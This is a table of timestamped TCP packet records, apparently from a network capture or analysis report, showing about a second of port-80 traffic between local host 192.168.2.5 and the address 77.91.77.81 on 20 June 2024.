Jun 20, 2024 15:38:18.980796099 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.980828047 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.980838060 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.980854988 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.980870008 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.980885983 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.980895042 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.980902910 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.980915070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.980915070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.980957031 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.980964899 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.980973005 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.980999947 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981014013 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981019020 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981029987 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981055021 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981061935 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981061935 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981070995 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981081963 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981086969 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981106043 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981112957 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981112957 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981122971 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981129885 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981144905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981146097 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981161118 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981178045 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981187105 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981187105 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981220961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981220961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981717110 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981765032 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981781006 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981795073 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981805086 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981805086 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981812000 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981827974 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981828928 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981853962 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981873989 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981873989 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981887102 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981901884 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981916904 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981928110 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981928110 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981935978 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.981964111 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.981964111 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.982135057 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.982214928 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.982240915 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.982255936 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.982280016 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.982283115 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.982284069 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.982295036 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.982310057 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.982316017 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.982316017 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.982336998 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.982347965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.982347965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.982352972 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.982368946 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.982383966 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.982400894 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.982418060 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.982418060 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.982438087 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984164953 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984190941 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984205961 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984222889 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984236002 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984236002 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984270096 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984270096 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984323025 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984424114 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984437943 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984453917 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984467983 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984499931 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984499931 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984499931 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984517097 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984528065 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984533072 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984549046 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984559059 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984559059 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984586000 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984586000 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984730005 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984745979 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984761000 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984822035 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984826088 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984826088 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984837055 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984852076 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984867096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984883070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984898090 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.984906912 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984906912 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984951019 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.984951019 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.987315893 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.987341881 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.987356901 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.987380981 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.987389088 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.987389088 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.987397909 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.987415075 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.987426043 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.987426043 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.987431049 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.987461090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.987461090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.987473965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.997994900 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998157024 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998173952 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998209000 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998258114 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998258114 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998454094 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998486996 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998512030 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998526096 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998537064 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998583078 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998613119 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998626947 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998626947 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998644114 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998676062 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998677015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998702049 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998704910 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998737097 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998755932 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998755932 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998769045 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998792887 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998805046 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998823881 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998836040 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998866081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998884916 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998884916 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998898983 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998919964 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998933077 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.998958111 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.998980045 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.001566887 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.001604080 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.001637936 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.001661062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.001661062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.001672029 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.001707077 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.001739979 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.001758099 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.001758099 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.001774073 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.001806974 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.001822948 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.001822948 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.001842022 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.001893997 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.001893997 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.013519049 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.013586044 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.013607025 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.013616085 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.013633966 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.013670921 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.013670921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.013706923 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.013741016 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.013753891 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.013772964 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.013777018 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.013803005 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.013812065 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.013856888 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.013856888 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042171955 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042227983 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042262077 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042313099 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042347908 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042380095 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042395115 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042395115 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042434931 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042437077 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042470932 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042505026 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042536974 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042556047 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042556047 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042589903 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042598963 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042624950 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042659998 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042675018 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042675018 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042692900 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042726994 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042743921 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042743921 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042761087 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042790890 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042823076 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042859077 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042870045 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042906046 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042939901 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042973995 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.042987108 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.042987108 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.043008089 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.043041945 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.043057919 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.043057919 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.043076038 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.043102026 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.043109894 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.043143988 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.043150902 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.043150902 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.043170929 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.043178082 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.043211937 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.043232918 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.043232918 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.043278933 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045296907 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045332909 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045365095 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045365095 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045388937 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045422077 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045454979 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045478106 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045506954 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045541048 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045552969 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045552969 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045574903 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045608044 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045617104 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045617104 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045660973 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045696020 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045702934 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045702934 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045728922 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045753002 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045763016 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045797110 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045799971 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045799971 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045830965 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045851946 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045860052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045880079 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045892954 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045928001 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045938969 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045938969 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.045962095 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.045996904 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.046005964 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.046005964 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.046031952 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.046041965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.046066046 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.046108961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.046108961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.070734024 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.070771933 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.070826054 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.070838928 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.070838928 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.070878029 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.070878983 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.070931911 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.070965052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.070986986 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.070986986 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.070997953 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071033001 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071043015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071043015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071079016 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071139097 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071187973 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071219921 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071223974 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071234941 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071258068 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071291924 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071295977 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071330070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071346045 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071346045 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071365118 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071398973 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071419954 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071419954 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071433067 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071466923 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071487904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071487904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071502924 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071532011 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071537018 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.071563959 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071572065 CEST	80	49718	77.91.77.81	192.168.2.5
